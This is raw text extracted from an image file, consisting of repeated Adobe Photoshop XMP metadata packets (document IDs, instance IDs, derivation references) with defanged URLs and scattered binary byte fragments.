" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:C39E41BB278611E49A89DC92EFB106ED" xmpMM:InstanceID="xmp.iid:C39E41BA278611E49A89DC92EFB106ED" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5EA7FBA0988311E3AE0DEC6A4F34AAC8" stRef:documentID="xmp.did:5EA7FBA1988311E3AE0DEC6A4F34AAC8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{
D\|i%S7
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6685727E4A36E3118C21EFB47D5B10CF" xmpMM:DocumentID="xmp.did:4A1A3C38D5C611E3A0C6AFE0E315B057" xmpMM:InstanceID="xmp.iid:4A1A3C37D5C611E3A0C6AFE0E315B057" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:012b0a0c-3b70-8648-83a8-ffcf713d4777" stRef:documentID="xmp.did:6685727E4A36E3118C21EFB47D5B10CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>o
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:a09f5b44-74c9-3045-8de3-04a038ceb14c" xmpMM:DocumentID="xmp.did:4761E63126CB11E4963B8066722CFD82" xmpMM:InstanceID="xmp.iid:4761E63026CB11E4963B8066722CFD82" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:a09f5b44-74c9-3045-8de3-04a038ceb14c" stRef:documentID="xmp.did:a09f5b44-74c9-3045-8de3-04a038ceb14c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:D0DA6B31DF0011E39B53CC222EBEDDBB" xmpMM:InstanceID="xmp.iid:D0DA6B30DF0011E39B53CC222EBEDDBB" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e649231a-8e98-8247-8d7c-24c8891a2f29" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>I
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6685727E4A36E3118C21EFB47D5B10CF" xmpMM:DocumentID="xmp.did:EB220812D5C111E3A86BF9FA45AD3116" xmpMM:InstanceID="xmp.iid:EB220811D5C111E3A86BF9FA45AD3116" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:db6e0ac6-0d06-0249-99f3-354f21ee42db" stRef:documentID="xmp.did:6685727E4A36E3118C21EFB47D5B10CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
<rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/"
xmlns:dc="hXXp://purl.org/dc/elements/1.1/"
xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="hXXp://ns.adobe.com/tiff/1.0/"
xmlns:exif="hXXp://ns.adobe.com/exif/1.0/">
<xmpMM:OriginalDocumentID>xmp.did:A679A2EB3D40E311B4BB97CC3487326D</xmpMM:OriginalDocumentID>
<xmpMM:DocumentID>xmp.did:5EC6899E410B11E38286A2CA3B0C119E</xmpMM:DocumentID>
<xmpMM:InstanceID>xmp.iid:c3f61aa4-fc30-f14b-b857-5e89fcccc302</xmpMM:InstanceID>
<stRef:instanceID>xmp.iid:BBBDBFD70A41E311BF53BBF3DE12B0AA</stRef:instanceID>
<stRef:documentID>xmp.did:A679A2EB3D40E311B4BB97CC3487326D</stRef:documentID>
<stEvt:instanceID>xmp.iid:998b7129-470a-f743-b4c2-86543a16837a</stEvt:instanceID>
<stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
<stEvt:instanceID>xmp.iid:c3f61aa4-fc30-f14b-b857-5e89fcccc302</stEvt:instanceID>
<xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
<rdf:li>xmp.did:5EC6899E410B11E38286A2CA3B0C119E</rdf:li>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:9079AE6DDB4911E3B97DF3B717C76E3D" xmpMM:InstanceID="xmp.iid:9079AE6CDB4911E3B97DF3B717C76E3D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:004284fe-dede-284a-a998-eabe3a704017" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(bq.Ll
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4165CD1FDBD811E38EBEBDF96C9C404A" xmpMM:InstanceID="xmp.iid:4165CD1EDBD811E38EBEBDF96C9C404A" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:457df968-a9ea-714a-bed2-758568f579e2" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>E
y!%Xv#
?ÿt
g%A]%dJ
.ew!\?Ax
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:CC8E1A58B0C911E38DB4DC3A9386E16B" xmpMM:InstanceID="xmp.iid:CC8E1A57B0C911E38DB4DC3A9386E16B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7777B2D2B0C911E39F1BE3EEE7803273" stRef:documentID="xmp.did:7777B2D3B0C911E39F1BE3EEE7803273"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:12CF23F0B0CA11E3B605D398D544259B" xmpMM:InstanceID="xmp.iid:12CF23EFB0CA11E3B605D398D544259B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:77619272B0C911E39F1BE3EEE7803273" stRef:documentID="xmp.did:77619273B0C911E39F1BE3EEE7803273"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ex
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4762038B450211E3BFE287E4121697C3" xmpMM:InstanceID="xmp.iid:4762038A450211E3BFE287E4121697C3" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8A9AB3700045E311A75483D58FB78965" stRef:documentID="xmp.did:8A9AB3700045E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:48B13FD1278911E4B16194A5B28EA334" xmpMM:InstanceID="xmp.iid:48B13FD0278911E4B16194A5B28EA334" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c08565b4-14f5-e344-903a-2d551d64e9e8" stRef:documentID="xmp.did:4743F3CD450211E3BFE287E4121697C3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
<xmpMM:OriginalDocumentID>xmp.did:8A9AB3700045E311A75483D58FB78965</xmpMM:OriginalDocumentID>
<xmpMM:DocumentID>xmp.did:4762038B450211E3BFE287E4121697C3</xmpMM:DocumentID>
<xmpMM:InstanceID>xmp.iid:85103282-c6f8-ef40-8033-25a7ed69089f</xmpMM:InstanceID>
<stRef:instanceID>xmp.iid:8A9AB3700045E311A75483D58FB78965</stRef:instanceID>
<stRef:documentID>xmp.did:8A9AB3700045E311A75483D58FB78965</stRef:documentID>
<stEvt:instanceID>xmp.iid:85103282-c6f8-ef40-8033-25a7ed69089f</stEvt:instanceID>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:C8A5D2A0DC1511E39F4FA78164573CF3" xmpMM:InstanceID="xmp.iid:C8A5D29FDC1511E39F4FA78164573CF3" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:43aaf411-797e-b04a-bcb6-93d6c5bbebcb" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:EA0B1E1A278511E4B460875BA0C8050A" xmpMM:InstanceID="xmp.iid:EA0B1E19278511E4B460875BA0C8050A" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:001536F8BA1111E3944690DE2E6A82D7" stRef:documentID="xmp.did:001536F9BA1111E3944690DE2E6A82D7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F2D4915B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F2D4914B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E47EEC4B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E47EEC3B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:E4E61030E15A11E380C3809F034B8B0B" xmpMM:InstanceID="xmp.iid:E4E6102FE15A11E380C3809F034B8B0B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b8f9214-7fd8-f04b-8c2d-ca4efb6c082c" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>5
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:E4E61034E15A11E380C3809F034B8B0B" xmpMM:InstanceID="xmp.iid:E4E61033E15A11E380C3809F034B8B0B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b8f9214-7fd8-f04b-8c2d-ca4efb6c082c" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:E4F99876E15A11E380C3809F034B8B0B" xmpMM:InstanceID="xmp.iid:E4F99875E15A11E380C3809F034B8B0B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b8f9214-7fd8-f04b-8c2d-ca4efb6c082c" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F2D4911B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F2D4910B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>v]
.nA.B
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:962C10CB278F11E49EAA9CD2785EF8D6" xmpMM:InstanceID="xmp.iid:962C10CA278F11E49EAA9CD2785EF8D6" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:70486ead-d6fd-2444-a456-bf16f8d11fbb" stRef:documentID="xmp.did:4743F3CD450211E3BFE287E4121697C3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:70899EC8278711E4944080D503B689BE" xmpMM:InstanceID="xmp.iid:70899EC7278711E4944080D503B689BE" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:fb73dadb-eb90-e14c-82e0-74a9e2fed63c" stRef:documentID="xmp.did:525B74F7988311E3A6F2974BB138AB9F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>8;
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E773CDCB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E773CDBB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L=
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F64AD93B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F64AD92B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
<rdf:li>adobe:docid:photoshop:2948b1b8-c2f9-11de-b73a-928bdc800169</rdf:li>
<rdf:li>adobe:docid:photoshop:3f70660e-052f-11e2-93dc-bdf77cc87537</rdf:li>
<rdf:li>adobe:docid:photoshop:5ad33ae4-c9d2-11dc-a36d-d7c243adf448</rdf:li>
<rdf:li>adobe:docid:photoshop:5d3fd244-aa0e-11dc-bc84-932a544688e0</rdf:li>
<rdf:li>adobe:docid:photoshop:979eaeb5-27d1-11db-bf2e-f7e73c039534</rdf:li>
<rdf:li>adobe:docid:photoshop:adfc9817-a47a-11dc-ba21-e09ff66bd851</rdf:li>
<rdf:li>adobe:docid:photoshop:caf2a3e2-f62c-11e1-bf20-91ab63ccd14a</rdf:li>
<rdf:li>adobe:docid:photoshop:d05febf7-7a53-11dc-b471-fe5e749a3fb5</rdf:li>
<rdf:li>adobe:docid:photoshop:d1eeda62-6f87-11d9-be01-b8af95310eab</rdf:li>
<rdf:li>adobe:docid:photoshop:de4e4441-6baf-11e2-b665-90aaed0ebf64</rdf:li>
<rdf:li>xmp.did:0027389EBA1111E3944690DE2E6A82D7</rdf:li>
<rdf:li>xmp.did:02AC372CA03911E3831CCF2395716FDC</rdf:li>
<rdf:li>xmp.did:0680117407206811994C96F14B3FCE49</rdf:li>
<rdf:li>xmp.did:088011740720681192B0A0EF73779CBC</rdf:li>
<rdf:li>xmp.did:0C457F2A0D0CE111885FBBE4DA3DBCA4</rdf:li>
<rdf:li>xmp.did:10CD05B9D5CA11E3AF0EF341A2B3E6BB</rdf:li>
<rdf:li>xmp.did:195A3DAF7CC611E3939A8FAEC69E0875</rdf:li>
<rdf:li>xmp.did:19EA6966057DE01190C09CA2CF60ED2B</rdf:li>
<rdf:li>xmp.did:20A4ECA3B760E011B986F062C37E1CF4</rdf:li>
